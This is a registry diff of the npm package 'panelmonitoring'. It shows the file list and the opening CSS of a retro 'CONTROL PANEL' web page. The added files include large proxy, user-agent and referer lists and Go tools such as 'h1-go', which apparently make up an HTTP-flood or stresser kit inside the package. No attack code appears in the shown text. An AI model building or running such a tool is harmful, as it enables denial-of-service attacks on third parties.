panelmonitoring 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.worker_encrypted +1 -0
- package/lib/cache/dor +0 -0
- package/lib/cache/dor.go +1302 -0
- package/lib/cache/h1-go +0 -0
- package/lib/cache/h1-go.go +442 -0
- package/package.json +22 -3
- package/panel-config.json +1 -0
- package/proxy.txt +60557 -0
- package/public/index.html +2256 -0
- package/referer.txt +2117 -0
- package/ua.txt +103225 -0
- package//346/216/247/345/210/266/351/235/242/346/235/277/346/240/270/345/277/203/345/220/257/345/212/250/346/250/241/345/235/227/345/210/235/345/247/213/345/214/226/347/250/213/345/272/217/344/270/273/345/205/245/345/217/243/346/226/207/344/273/266.js +1887 -0
- package/run.js +0 -83
|
@@ -0,0 +1,2256 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>█ MICHELLE WANG // CONTROL PANEL █</title>
|
|
7
|
+
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
|
|
8
|
+
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
|
|
9
|
+
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=VT323&family=Share+Tech+Mono&display=swap" rel="stylesheet">
|
|
10
|
+
<style>
|
|
11
|
+
/* ╔════════════════════════════════════════════════════════════╗
|
|
12
|
+
║ PIXEL RETRO TERMINAL — Ultra HD 4D Clickable Theme ║
|
|
13
|
+
║ Press Start 2P font · CRT scanlines · Pixelated borders ║
|
|
14
|
+
║ Retro green phosphor · Amber alerts · Cyan accents ║
|
|
15
|
+
╚════════════════════════════════════════════════════════════╝ */
|
|
16
|
+
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&family=VT323:wght@400&family=Share+Tech+Mono&display=swap');
|
|
17
|
+
|
|
18
|
+
:root {
|
|
19
|
+
--px-bg: #050a05;
|
|
20
|
+
--px-bg2: #070e07;
|
|
21
|
+
--px-bg3: #0c140c;
|
|
22
|
+
--px-bg4: #101a10;
|
|
23
|
+
--px-green: #00ff41;
|
|
24
|
+
--px-green2: #00cc33;
|
|
25
|
+
--px-green3: #009922;
|
|
26
|
+
--px-green4: #006611;
|
|
27
|
+
--px-green-d: #003308;
|
|
28
|
+
--px-amber: #ffb000;
|
|
29
|
+
--px-amber2: #ff8c00;
|
|
30
|
+
--px-cyan: #00e5ff;
|
|
31
|
+
--px-cyan2: #00b4cc;
|
|
32
|
+
--px-red: #ff2244;
|
|
33
|
+
--px-red2: #cc0022;
|
|
34
|
+
--px-purple: #bb44ff;
|
|
35
|
+
--px-text: #b8ffb8;
|
|
36
|
+
--px-text2: #80d880;
|
|
37
|
+
--px-text3: #4a9a4a;
|
|
38
|
+
--px-border: #1a4a1a;
|
|
39
|
+
--px-border2: #2a6a2a;
|
|
40
|
+
--px-border3: #00ff4140;
|
|
41
|
+
--px-glow-g: rgba(0,255,65,0.25);
|
|
42
|
+
--px-glow-g2: rgba(0,255,65,0.08);
|
|
43
|
+
--px-glow-a: rgba(255,176,0,0.3);
|
|
44
|
+
--px-glow-c: rgba(0,229,255,0.25);
|
|
45
|
+
--px-glow-r: rgba(255,34,68,0.3);
|
|
46
|
+
--px-shadow: 0 0 0 2px #00ff4120, 0 4px 20px rgba(0,0,0,0.9);
|
|
47
|
+
--px-shadow2: 0 0 0 2px #00ff4140, 0 0 30px rgba(0,255,65,0.15), 0 8px 30px rgba(0,0,0,0.9);
|
|
48
|
+
--font-pixel: 'Press Start 2P', monospace;
|
|
49
|
+
--font-vt: 'VT323', 'Share Tech Mono', monospace;
|
|
50
|
+
--font-mono: 'Share Tech Mono', 'Courier New', monospace;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
|
|
54
|
+
|
|
55
|
+
html { scroll-behavior: smooth; }
|
|
56
|
+
|
|
57
|
+
body {
|
|
58
|
+
background: var(--px-bg);
|
|
59
|
+
color: var(--px-text);
|
|
60
|
+
font-family: var(--font-mono);
|
|
61
|
+
min-height: 100vh;
|
|
62
|
+
overflow-x: hidden;
|
|
63
|
+
image-rendering: pixelated;
|
|
64
|
+
cursor: url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><rect x='0' y='0' width='4' height='4' fill='%2300ff41'/><rect x='4' y='4' width='4' height='4' fill='%2300ff41'/><rect x='0' y='4' width='4' height='4' fill='%23003308'/><rect x='4' y='0' width='4' height='4' fill='%23003308'/></svg>") 0 0, auto;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
/* ─── CRT Scanlines overlay ─────────────────────────── */
|
|
68
|
+
body::before {
|
|
69
|
+
content: '';
|
|
70
|
+
position: fixed; inset: 0; pointer-events: none; z-index: 9998;
|
|
71
|
+
background: repeating-linear-gradient(
|
|
72
|
+
0deg,
|
|
73
|
+
transparent,
|
|
74
|
+
transparent 2px,
|
|
75
|
+
rgba(0, 0, 0, 0.15) 2px,
|
|
76
|
+
rgba(0, 0, 0, 0.15) 4px
|
|
77
|
+
);
|
|
78
|
+
animation: scanlineFlicker 0.1s steps(1) infinite;
|
|
79
|
+
}
|
|
80
|
+
@keyframes scanlineFlicker {
|
|
81
|
+
0% { opacity: 1; }
|
|
82
|
+
50% { opacity: 0.97; }
|
|
83
|
+
100% { opacity: 1; }
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
/* ─── Phosphor vignette ─────────────────────────────── */
|
|
87
|
+
body::after {
|
|
88
|
+
content: '';
|
|
89
|
+
position: fixed; inset: 0; pointer-events: none; z-index: 9997;
|
|
90
|
+
background: radial-gradient(ellipse at 50% 50%,
|
|
91
|
+
transparent 40%,
|
|
92
|
+
rgba(0, 0, 0, 0.55) 100%);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
/* ─── Ambient glow layers ───────────────────────────── */
|
|
96
|
+
#bgGlow {
|
|
97
|
+
position: fixed; inset: 0; pointer-events: none; z-index: 0;
|
|
98
|
+
background:
|
|
99
|
+
radial-gradient(ellipse 60% 50% at 5% 50%, rgba(0,255,65,0.035) 0%, transparent 60%),
|
|
100
|
+
radial-gradient(ellipse 40% 40% at 95% 20%, rgba(0,229,255,0.025) 0%, transparent 50%),
|
|
101
|
+
radial-gradient(ellipse 50% 50% at 50% 100%, rgba(0,255,65,0.02) 0%, transparent 50%);
|
|
102
|
+
animation: ambientPulse 8s ease-in-out infinite;
|
|
103
|
+
}
|
|
104
|
+
@keyframes ambientPulse {
|
|
105
|
+
0%, 100% { opacity: 0.5; }
|
|
106
|
+
50% { opacity: 1; }
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
/* ─── Scrollbar ─────────────────────────────────────── */
|
|
110
|
+
::-webkit-scrollbar { width: 6px; height: 6px; }
|
|
111
|
+
::-webkit-scrollbar-track { background: var(--px-bg); border-left: 1px solid var(--px-border); }
|
|
112
|
+
::-webkit-scrollbar-thumb { background: var(--px-green4); border: 1px solid var(--px-green3); }
|
|
113
|
+
::-webkit-scrollbar-thumb:hover { background: var(--px-green3); }
|
|
114
|
+
|
|
115
|
+
/* ─── Pixel border mixin ────────────────────────────── */
|
|
116
|
+
.px-border {
|
|
117
|
+
border: 2px solid var(--px-green4);
|
|
118
|
+
box-shadow: var(--px-shadow);
|
|
119
|
+
image-rendering: pixelated;
|
|
120
|
+
}
|
|
121
|
+
.px-border:hover {
|
|
122
|
+
border-color: var(--px-green3);
|
|
123
|
+
box-shadow: var(--px-shadow2);
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/* ─── Canvas (particle layer) ───────────────────────── */
|
|
127
|
+
#particleCanvas {
|
|
128
|
+
position: fixed; inset: 0;
|
|
129
|
+
pointer-events: none; z-index: 1;
|
|
130
|
+
}
|
|
131
|
+
#petalsContainer { position: fixed; inset: 0; pointer-events: none; z-index: 2; }
|
|
132
|
+
|
|
133
|
+
/* ─── Pixel blinking cursor ─────────────────────────── */
|
|
134
|
+
.blink-cursor::after {
|
|
135
|
+
content: '█';
|
|
136
|
+
color: var(--px-green);
|
|
137
|
+
animation: blinkCursor 1s steps(1) infinite;
|
|
138
|
+
}
|
|
139
|
+
@keyframes blinkCursor {
|
|
140
|
+
0%, 100% { opacity: 1; }
|
|
141
|
+
50% { opacity: 0; }
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/* ─── Navbar ─────────────────────────────────────────── */
|
|
145
|
+
.navbar {
|
|
146
|
+
background: rgba(5, 10, 5, 0.97) !important;
|
|
147
|
+
backdrop-filter: blur(0px);
|
|
148
|
+
border-bottom: 2px solid var(--px-green4);
|
|
149
|
+
padding: 0;
|
|
150
|
+
position: sticky; top: 0; z-index: 100;
|
|
151
|
+
box-shadow: 0 2px 0 var(--px-green3), 0 4px 0 var(--px-green4), 0 4px 20px rgba(0,255,65,0.1);
|
|
152
|
+
image-rendering: pixelated;
|
|
153
|
+
}
|
|
154
|
+
/* Pixel notch top */
|
|
155
|
+
.navbar::before {
|
|
156
|
+
content: '';
|
|
157
|
+
position: absolute; top: 0; left: 0; right: 0; height: 1px;
|
|
158
|
+
background: var(--px-green);
|
|
159
|
+
box-shadow: 0 0 10px var(--px-green), 0 0 20px var(--px-glow-g);
|
|
160
|
+
animation: navGlow 2s ease-in-out infinite;
|
|
161
|
+
}
|
|
162
|
+
@keyframes navGlow {
|
|
163
|
+
0%, 100% { opacity: 0.6; }
|
|
164
|
+
50% { opacity: 1; box-shadow: 0 0 15px var(--px-green), 0 0 30px var(--px-glow-g); }
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
.navbar-brand {
|
|
168
|
+
color: var(--px-green) !important;
|
|
169
|
+
font-family: var(--font-pixel);
|
|
170
|
+
font-size: 0.55rem;
|
|
171
|
+
text-shadow: 0 0 10px var(--px-green), 0 0 20px var(--px-glow-g);
|
|
172
|
+
text-decoration: none;
|
|
173
|
+
padding: 0.75rem 1rem;
|
|
174
|
+
display: flex; align-items: center; gap: 0.7rem;
|
|
175
|
+
letter-spacing: 1px;
|
|
176
|
+
}
|
|
177
|
+
.navbar-brand .logo-icon {
|
|
178
|
+
width: 32px; height: 32px;
|
|
179
|
+
background: var(--px-bg3);
|
|
180
|
+
border: 2px solid var(--px-green3);
|
|
181
|
+
display: flex; align-items: center; justify-content: center;
|
|
182
|
+
font-size: 1rem;
|
|
183
|
+
box-shadow: 0 0 8px var(--px-glow-g), inset 0 0 8px rgba(0,255,65,0.08);
|
|
184
|
+
animation: iconBlink 3s steps(2) infinite;
|
|
185
|
+
image-rendering: pixelated;
|
|
186
|
+
flex-shrink: 0;
|
|
187
|
+
}
|
|
188
|
+
@keyframes iconBlink {
|
|
189
|
+
0%, 90%, 100% { box-shadow: 0 0 8px var(--px-glow-g), inset 0 0 8px rgba(0,255,65,0.08); }
|
|
190
|
+
95% { box-shadow: 0 0 16px var(--px-green), inset 0 0 12px rgba(0,255,65,0.15); }
|
|
191
|
+
}
|
|
192
|
+
.brand-text { display: flex; flex-direction: column; gap: 0.15rem; }
|
|
193
|
+
.brand-title { color: var(--px-green); font-family: var(--font-pixel); font-size: 0.55rem; }
|
|
194
|
+
.brand-cn { color: var(--px-green4); font-family: var(--font-vt); font-size: 0.8rem; letter-spacing: 2px; }
|
|
195
|
+
|
|
196
|
+
.nav-link {
|
|
197
|
+
color: var(--px-green3) !important;
|
|
198
|
+
font-family: var(--font-pixel);
|
|
199
|
+
font-size: 0.45rem;
|
|
200
|
+
padding: 0.8rem 0.7rem !important;
|
|
201
|
+
letter-spacing: 0.5px;
|
|
202
|
+
transition: all 0.1s steps(1);
|
|
203
|
+
border-bottom: 2px solid transparent;
|
|
204
|
+
display: flex; align-items: center; gap: 0.3rem;
|
|
205
|
+
position: relative;
|
|
206
|
+
}
|
|
207
|
+
.nav-link i { font-size: 0.65rem; }
|
|
208
|
+
.nav-link::before {
|
|
209
|
+
content: '>';
|
|
210
|
+
position: absolute; left: -2px;
|
|
211
|
+
color: var(--px-green);
|
|
212
|
+
opacity: 0;
|
|
213
|
+
font-family: var(--font-pixel); font-size: 0.5rem;
|
|
214
|
+
transition: opacity 0.1s;
|
|
215
|
+
}
|
|
216
|
+
.nav-link:hover, .nav-link.active {
|
|
217
|
+
color: var(--px-green) !important;
|
|
218
|
+
border-bottom-color: var(--px-green);
|
|
219
|
+
text-shadow: 0 0 8px var(--px-green);
|
|
220
|
+
background: rgba(0,255,65,0.05) !important;
|
|
221
|
+
}
|
|
222
|
+
.nav-link:hover::before, .nav-link.active::before { opacity: 1; }
|
|
223
|
+
.navbar-toggler { border: 2px solid var(--px-green4) !important; padding: 0.3rem 0.5rem; }
|
|
224
|
+
.navbar-toggler-icon { filter: invert(1) sepia(1) hue-rotate(90deg) saturate(3); }
|
|
225
|
+
|
|
226
|
+
/* ─── Pixel Card ─────────────────────────────────────── */
|
|
227
|
+
.card {
|
|
228
|
+
background: var(--px-bg2);
|
|
229
|
+
border: 0 !important;
|
|
230
|
+
border-radius: 0 !important;
|
|
231
|
+
box-shadow:
|
|
232
|
+
inset 2px 2px 0 var(--px-green4),
|
|
233
|
+
inset -2px -2px 0 var(--px-green4),
|
|
234
|
+
4px 4px 0 var(--px-green-d),
|
|
235
|
+
0 0 20px rgba(0,255,65,0.06);
|
|
236
|
+
position: relative; overflow: hidden;
|
|
237
|
+
transition: all 0.1s steps(1);
|
|
238
|
+
}
|
|
239
|
+
/* Pixel corner dots */
|
|
240
|
+
.card::before {
|
|
241
|
+
content: '';
|
|
242
|
+
position: absolute; top: 0; left: 0;
|
|
243
|
+
width: 6px; height: 6px;
|
|
244
|
+
background: var(--px-green);
|
|
245
|
+
box-shadow:
|
|
246
|
+
calc(100% + 2px) 0 0 var(--px-green),
|
|
247
|
+
0 calc(100% + 2px) 0 var(--px-green),
|
|
248
|
+
calc(100% + 2px) calc(100% + 2px) 0 var(--px-green);
|
|
249
|
+
/* 4 corner pixels */
|
|
250
|
+
z-index: 2;
|
|
251
|
+
}
|
|
252
|
+
.card::after {
|
|
253
|
+
content: '';
|
|
254
|
+
position: absolute; inset: 0; pointer-events: none;
|
|
255
|
+
background: linear-gradient(180deg,
|
|
256
|
+
rgba(0,255,65,0.025) 0%,
|
|
257
|
+
transparent 40%);
|
|
258
|
+
}
|
|
259
|
+
.card:hover {
|
|
260
|
+
box-shadow:
|
|
261
|
+
inset 2px 2px 0 var(--px-green3),
|
|
262
|
+
inset -2px -2px 0 var(--px-green3),
|
|
263
|
+
4px 4px 0 var(--px-green4),
|
|
264
|
+
0 0 30px rgba(0,255,65,0.12);
|
|
265
|
+
transform: translate(-1px, -1px);
|
|
266
|
+
}
|
|
267
|
+
.card:active {
|
|
268
|
+
transform: translate(2px, 2px) !important;
|
|
269
|
+
box-shadow:
|
|
270
|
+
inset 2px 2px 0 var(--px-green4),
|
|
271
|
+
inset -2px -2px 0 var(--px-green4),
|
|
272
|
+
0 0 0 var(--px-green-d) !important;
|
|
273
|
+
}
|
|
274
|
+
.card-header {
|
|
275
|
+
background: linear-gradient(180deg, var(--px-bg3) 0%, var(--px-bg2) 100%);
|
|
276
|
+
border-bottom: 2px solid var(--px-green4) !important;
|
|
277
|
+
font-family: var(--font-pixel);
|
|
278
|
+
font-size: 0.52rem;
|
|
279
|
+
padding: 0.9rem 1rem;
|
|
280
|
+
color: var(--px-green);
|
|
281
|
+
text-shadow: 0 0 8px var(--px-green);
|
|
282
|
+
display: flex; align-items: center; gap: 0.5rem;
|
|
283
|
+
letter-spacing: 0.5px;
|
|
284
|
+
position: relative;
|
|
285
|
+
}
|
|
286
|
+
.card-header::after {
|
|
287
|
+
content: '';
|
|
288
|
+
position: absolute; bottom: -2px; left: 0; right: 0; height: 1px;
|
|
289
|
+
background: linear-gradient(90deg, transparent, var(--px-green3), transparent);
|
|
290
|
+
animation: hdrGlow 3s ease-in-out infinite;
|
|
291
|
+
}
|
|
292
|
+
@keyframes hdrGlow {
|
|
293
|
+
0%, 100% { opacity: 0.4; }
|
|
294
|
+
50% { opacity: 1; }
|
|
295
|
+
}
|
|
296
|
+
.card-header i { color: var(--px-cyan); filter: drop-shadow(0 0 4px var(--px-cyan)); }
|
|
297
|
+
.card-body { padding: 1.1rem; position: relative; z-index: 1; }
|
|
298
|
+
|
|
299
|
+
/* ─── Stat Cards ─────────────────────────────────────── */
|
|
300
|
+
.stat-card {
|
|
301
|
+
padding: 1.1rem;
|
|
302
|
+
background: var(--px-bg2);
|
|
303
|
+
border: 0;
|
|
304
|
+
box-shadow:
|
|
305
|
+
inset 2px 2px 0 var(--px-green4),
|
|
306
|
+
inset -2px -2px 0 var(--px-green4),
|
|
307
|
+
4px 4px 0 var(--px-green-d);
|
|
308
|
+
cursor: default;
|
|
309
|
+
position: relative; overflow: hidden;
|
|
310
|
+
transition: all 0.1s steps(1);
|
|
311
|
+
}
|
|
312
|
+
.stat-card::before {
|
|
313
|
+
content: '';
|
|
314
|
+
position: absolute; top: 0; left: 0; right: 0; height: 3px;
|
|
315
|
+
}
|
|
316
|
+
.card-shine { display: none; }
|
|
317
|
+
.stat-card.blue::before { background: var(--px-red); box-shadow: 0 0 8px var(--px-red); }
|
|
318
|
+
.stat-card.red::before { background: var(--px-amber); box-shadow: 0 0 8px var(--px-amber); }
|
|
319
|
+
.stat-card.green::before { background: var(--px-cyan); box-shadow: 0 0 8px var(--px-cyan); }
|
|
320
|
+
.stat-card.purple::before{ background: var(--px-green); box-shadow: 0 0 8px var(--px-green); }
|
|
321
|
+
|
|
322
|
+
.stat-card:hover {
|
|
323
|
+
transform: translate(-2px, -2px);
|
|
324
|
+
box-shadow:
|
|
325
|
+
inset 2px 2px 0 var(--px-green3),
|
|
326
|
+
inset -2px -2px 0 var(--px-green3),
|
|
327
|
+
6px 6px 0 var(--px-green-d),
|
|
328
|
+
0 0 20px rgba(0,255,65,0.12);
|
|
329
|
+
}
|
|
330
|
+
.stat-card:active {
|
|
331
|
+
transform: translate(2px, 2px) !important;
|
|
332
|
+
box-shadow: inset 2px 2px 0 var(--px-green4), inset -2px -2px 0 var(--px-green4), 0 0 0 #000 !important;
|
|
333
|
+
}
|
|
334
|
+
|
|
335
|
+
.stat-card .icon {
|
|
336
|
+
width: 44px; height: 44px;
|
|
337
|
+
border: 2px solid;
|
|
338
|
+
display: flex; align-items: center; justify-content: center;
|
|
339
|
+
font-size: 1.2rem;
|
|
340
|
+
margin-bottom: 0.9rem;
|
|
341
|
+
background: var(--px-bg3);
|
|
342
|
+
image-rendering: pixelated;
|
|
343
|
+
}
|
|
344
|
+
.stat-card.blue .icon { border-color: var(--px-red); color: var(--px-red); box-shadow: inset 0 0 8px rgba(255,34,68,0.15), 0 0 8px rgba(255,34,68,0.2); }
|
|
345
|
+
.stat-card.red .icon { border-color: var(--px-amber); color: var(--px-amber); box-shadow: inset 0 0 8px rgba(255,176,0,0.15), 0 0 8px rgba(255,176,0,0.2); }
|
|
346
|
+
.stat-card.green .icon { border-color: var(--px-cyan); color: var(--px-cyan); box-shadow: inset 0 0 8px rgba(0,229,255,0.15), 0 0 8px rgba(0,229,255,0.2); }
|
|
347
|
+
.stat-card.purple .icon { border-color: var(--px-green); color: var(--px-green); box-shadow: inset 0 0 8px rgba(0,255,65,0.15), 0 0 8px rgba(0,255,65,0.2); }
|
|
348
|
+
|
|
349
|
+
.stat-card .value {
|
|
350
|
+
font-family: var(--font-pixel);
|
|
351
|
+
font-size: 1.5rem;
|
|
352
|
+
color: var(--px-green);
|
|
353
|
+
text-shadow: 0 0 15px var(--px-green), 0 0 30px var(--px-glow-g);
|
|
354
|
+
margin-bottom: 0.3rem;
|
|
355
|
+
line-height: 1.2;
|
|
356
|
+
letter-spacing: -1px;
|
|
357
|
+
}
|
|
358
|
+
.stat-card .label {
|
|
359
|
+
font-family: var(--font-pixel);
|
|
360
|
+
font-size: 0.4rem;
|
|
361
|
+
color: var(--px-text3);
|
|
362
|
+
text-transform: uppercase;
|
|
363
|
+
letter-spacing: 1px;
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
/* ─── Form Controls ─────────────────────────────────── */
|
|
367
|
+
.form-control, .form-select {
|
|
368
|
+
background: var(--px-bg3);
|
|
369
|
+
border: 2px solid var(--px-green4);
|
|
370
|
+
color: var(--px-green);
|
|
371
|
+
font-family: var(--font-mono);
|
|
372
|
+
font-size: 0.875rem;
|
|
373
|
+
padding: 0.55rem 0.8rem;
|
|
374
|
+
border-radius: 0;
|
|
375
|
+
transition: all 0.1s steps(1);
|
|
376
|
+
box-shadow: inset 2px 2px 0 rgba(0,0,0,0.4), inset -1px -1px 0 rgba(0,255,65,0.05);
|
|
377
|
+
}
|
|
378
|
+
.form-control:focus, .form-select:focus {
|
|
379
|
+
background: var(--px-bg3);
|
|
380
|
+
border-color: var(--px-green3);
|
|
381
|
+
color: var(--px-green);
|
|
382
|
+
box-shadow: 0 0 0 3px rgba(0,255,65,0.1), inset 2px 2px 0 rgba(0,0,0,0.4), 0 0 15px rgba(0,255,65,0.1);
|
|
383
|
+
outline: none;
|
|
384
|
+
}
|
|
385
|
+
.form-control::placeholder { color: var(--px-text3); font-style: italic; }
|
|
386
|
+
.form-select option { background: var(--px-bg3); color: var(--px-text); }
|
|
387
|
+
.form-label {
|
|
388
|
+
font-family: var(--font-pixel);
|
|
389
|
+
font-size: 0.42rem;
|
|
390
|
+
color: var(--px-text2);
|
|
391
|
+
margin-bottom: 0.4rem;
|
|
392
|
+
letter-spacing: 0.5px;
|
|
393
|
+
text-transform: uppercase;
|
|
394
|
+
}
|
|
395
|
+
.form-label::before { content: '> '; color: var(--px-green); }
|
|
396
|
+
.input-group-text {
|
|
397
|
+
background: var(--px-bg3); border: 2px solid var(--px-green4);
|
|
398
|
+
border-radius: 0; color: var(--px-text2); font-family: var(--font-mono);
|
|
399
|
+
}
|
|
400
|
+
|
|
401
|
+
/* ─── Buttons ────────────────────────────────────────── */
|
|
402
|
+
.btn {
|
|
403
|
+
font-family: var(--font-pixel);
|
|
404
|
+
font-size: 0.45rem;
|
|
405
|
+
letter-spacing: 0.5px;
|
|
406
|
+
padding: 0.65rem 1.1rem;
|
|
407
|
+
border-radius: 0;
|
|
408
|
+
border: 0;
|
|
409
|
+
transition: all 0.05s steps(1);
|
|
410
|
+
position: relative; overflow: hidden;
|
|
411
|
+
image-rendering: pixelated;
|
|
412
|
+
cursor: pointer;
|
|
413
|
+
}
|
|
414
|
+
/* Pixel press effect */
|
|
415
|
+
.btn::before {
|
|
416
|
+
content: '';
|
|
417
|
+
position: absolute; top: 0; left: 0;
|
|
418
|
+
border-right: 2px solid rgba(255,255,255,0.12);
|
|
419
|
+
border-bottom: 2px solid rgba(255,255,255,0.08);
|
|
420
|
+
width: 100%; height: 100%; pointer-events: none;
|
|
421
|
+
}
|
|
422
|
+
.btn:active {
|
|
423
|
+
transform: translate(2px, 2px);
|
|
424
|
+
filter: brightness(0.8);
|
|
425
|
+
}
|
|
426
|
+
.btn:active::before { display: none; }
|
|
427
|
+
|
|
428
|
+
.btn-primary {
|
|
429
|
+
background: var(--px-red2);
|
|
430
|
+
color: var(--px-text);
|
|
431
|
+
box-shadow: 4px 4px 0 #550010, 0 0 15px rgba(255,34,68,0.2);
|
|
432
|
+
border: 2px solid var(--px-red);
|
|
433
|
+
}
|
|
434
|
+
.btn-primary:hover { background: var(--px-red); color: #fff; box-shadow: 2px 2px 0 #550010, 0 0 20px rgba(255,34,68,0.3); transform: translate(-1px,-1px); }
|
|
435
|
+
.btn-primary:active { box-shadow: none; background: #990022; color: var(--px-text); }
|
|
436
|
+
|
|
437
|
+
.btn-danger {
|
|
438
|
+
background: #8b0000;
|
|
439
|
+
color: var(--px-amber);
|
|
440
|
+
box-shadow: 4px 4px 0 #3a0000, 0 0 12px rgba(255,34,68,0.2);
|
|
441
|
+
border: 2px solid var(--px-red2);
|
|
442
|
+
}
|
|
443
|
+
.btn-danger:hover { background: var(--px-red2); color: #fff; transform: translate(-1px,-1px); }
|
|
444
|
+
|
|
445
|
+
.btn-success {
|
|
446
|
+
background: var(--px-green4);
|
|
447
|
+
color: var(--px-green);
|
|
448
|
+
box-shadow: 4px 4px 0 var(--px-green-d), 0 0 12px rgba(0,255,65,0.15);
|
|
449
|
+
border: 2px solid var(--px-green3);
|
|
450
|
+
}
|
|
451
|
+
.btn-success:hover { background: var(--px-green3); color: var(--px-bg); transform: translate(-1px,-1px); box-shadow: 2px 2px 0 var(--px-green4), 0 0 20px rgba(0,255,65,0.2); }
|
|
452
|
+
|
|
453
|
+
.btn-warning {
|
|
454
|
+
background: var(--px-amber2);
|
|
455
|
+
color: var(--px-bg);
|
|
456
|
+
box-shadow: 4px 4px 0 #663000, 0 0 12px rgba(255,176,0,0.2);
|
|
457
|
+
border: 2px solid var(--px-amber);
|
|
458
|
+
font-weight: 700;
|
|
459
|
+
}
|
|
460
|
+
.btn-warning:hover { background: var(--px-amber); transform: translate(-1px,-1px); box-shadow: 2px 2px 0 #663000, 0 0 20px rgba(255,176,0,0.3); }
|
|
461
|
+
|
|
462
|
+
.btn-outline-secondary {
|
|
463
|
+
background: transparent;
|
|
464
|
+
border: 2px solid var(--px-border2);
|
|
465
|
+
color: var(--px-text3);
|
|
466
|
+
box-shadow: 3px 3px 0 rgba(0,0,0,0.5);
|
|
467
|
+
}
|
|
468
|
+
.btn-outline-secondary:hover { background: rgba(0,255,65,0.04); color: var(--px-text2); border-color: var(--px-green4); transform: translate(-1px,-1px); }
|
|
469
|
+
|
|
470
|
+
.btn-outline-primary {
|
|
471
|
+
background: transparent;
|
|
472
|
+
border: 2px solid var(--px-green4);
|
|
473
|
+
color: var(--px-green3);
|
|
474
|
+
box-shadow: 3px 3px 0 var(--px-green-d);
|
|
475
|
+
}
|
|
476
|
+
.btn-outline-primary:hover { background: rgba(0,255,65,0.06); color: var(--px-green); border-color: var(--px-green3); transform: translate(-1px,-1px); }
|
|
477
|
+
|
|
478
|
+
.btn-outline-danger {
|
|
479
|
+
background: transparent;
|
|
480
|
+
border: 2px solid rgba(255,34,68,0.4);
|
|
481
|
+
color: var(--px-red);
|
|
482
|
+
box-shadow: 3px 3px 0 rgba(0,0,0,0.5);
|
|
483
|
+
}
|
|
484
|
+
.btn-outline-danger:hover { background: rgba(255,34,68,0.07); color: var(--px-red); border-color: var(--px-red); transform: translate(-1px,-1px); }
|
|
485
|
+
|
|
486
|
+
.btn-outline-warning {
|
|
487
|
+
background: transparent;
|
|
488
|
+
border: 2px solid rgba(255,176,0,0.35);
|
|
489
|
+
color: var(--px-amber);
|
|
490
|
+
box-shadow: 3px 3px 0 rgba(0,0,0,0.5);
|
|
491
|
+
}
|
|
492
|
+
.btn-outline-warning:hover { background: rgba(255,176,0,0.07); color: var(--px-amber); border-color: var(--px-amber); transform: translate(-1px,-1px); }
|
|
493
|
+
|
|
494
|
+
.btn-sm { padding: 0.4rem 0.7rem; font-size: 0.4rem; }
|
|
495
|
+
|
|
496
|
+
/* ─── Tables ─────────────────────────────────────────── */
|
|
497
|
+
.table { color: var(--px-text); font-family: var(--font-mono); font-size: 0.82rem; }
|
|
498
|
+
.table thead th {
|
|
499
|
+
border-bottom: 2px solid var(--px-green4) !important;
|
|
500
|
+
color: var(--px-green3);
|
|
501
|
+
font-family: var(--font-pixel);
|
|
502
|
+
font-size: 0.38rem;
|
|
503
|
+
text-transform: uppercase;
|
|
504
|
+
letter-spacing: 1px;
|
|
505
|
+
padding: 0.7rem 0.9rem;
|
|
506
|
+
background: var(--px-bg3);
|
|
507
|
+
}
|
|
508
|
+
.table td {
|
|
509
|
+
border-color: var(--px-border) !important;
|
|
510
|
+
padding: 0.65rem 0.9rem;
|
|
511
|
+
vertical-align: middle;
|
|
512
|
+
font-size: 0.8rem;
|
|
513
|
+
}
|
|
514
|
+
.table tbody tr { transition: background 0.05s steps(1); }
|
|
515
|
+
.table tbody tr:hover { background: rgba(0,255,65,0.03); }
|
|
516
|
+
|
|
517
|
+
/* ─── Badges ─────────────────────────────────────────── */
|
|
518
|
+
.badge-method {
|
|
519
|
+
background: rgba(255,34,68,0.15);
|
|
520
|
+
color: var(--px-red);
|
|
521
|
+
font-family: var(--font-pixel); font-size: 0.38rem;
|
|
522
|
+
padding: 0.28rem 0.5rem;
|
|
523
|
+
border: 1px solid rgba(255,34,68,0.3);
|
|
524
|
+
border-radius: 0;
|
|
525
|
+
text-shadow: 0 0 6px rgba(255,34,68,0.4);
|
|
526
|
+
box-shadow: 2px 2px 0 rgba(0,0,0,0.5);
|
|
527
|
+
}
|
|
528
|
+
.badge-online {
|
|
529
|
+
background: rgba(0,255,65,0.12);
|
|
530
|
+
color: var(--px-green);
|
|
531
|
+
font-family: var(--font-pixel); font-size: 0.38rem;
|
|
532
|
+
padding: 0.28rem 0.5rem;
|
|
533
|
+
border: 1px solid var(--px-green4);
|
|
534
|
+
border-radius: 0;
|
|
535
|
+
box-shadow: 2px 2px 0 rgba(0,0,0,0.5);
|
|
536
|
+
}
|
|
537
|
+
.badge-offline {
|
|
538
|
+
background: rgba(255,34,68,0.1);
|
|
539
|
+
color: var(--px-text3);
|
|
540
|
+
font-family: var(--font-pixel); font-size: 0.38rem;
|
|
541
|
+
padding: 0.28rem 0.5rem;
|
|
542
|
+
border: 1px solid var(--px-border2);
|
|
543
|
+
border-radius: 0;
|
|
544
|
+
